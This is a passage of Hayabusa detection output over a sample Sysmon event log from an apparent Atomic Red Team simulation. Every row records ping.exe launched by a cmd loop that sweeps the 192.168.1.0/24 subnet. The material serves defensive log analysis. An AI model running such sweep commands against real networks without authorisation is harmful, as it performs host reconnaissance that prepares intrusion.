Creation,"Command: ping -n 1 -w 100 192.168.1.130 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:40.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.131 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:40.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.132 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:40.960 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.133 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:41.512 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.134 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:41.967 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.135 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:42.436 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.136 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:42.881 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.137 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:43.478 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.138 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:43.951 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.139 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:44.408 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.140 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:44.926 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.141 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:45.532 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.142 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:45.970 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.143 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:46.405 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.144 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:46.879 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.145 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:47.411 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.146 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:47.993 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.147 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:48.567 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.148 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:49.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.149 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:49.408 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.150 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:50.047 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.151 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:50.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.152 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:51.038 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.153 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:51.517 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.154 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:52.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.155 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:52.553 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.156 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:53.037 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.157 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:53.555 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.158 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:54.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.159 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:54.529 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.160 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:54.999 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.161 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:55.533 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.162 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:56.017 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.163 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:56.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.164 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:57.003 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.165 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:57.544 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.166 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:58.011 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.167 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:58.563 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.168 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:59.016 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.169 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:59.522 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.170 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:00.077 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.171 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:00.621 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.172 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:01.018 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.173 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:01.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.174 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:02.019 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.175 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:02.556 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.176 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:03.031 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.177 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:03.557 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.178 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:04.044 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.179 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:04.539 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.180 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:05.023 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.181 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:05.517 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.182 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:06.023 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.183 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:06.535 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.184 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:07.047 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.185 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 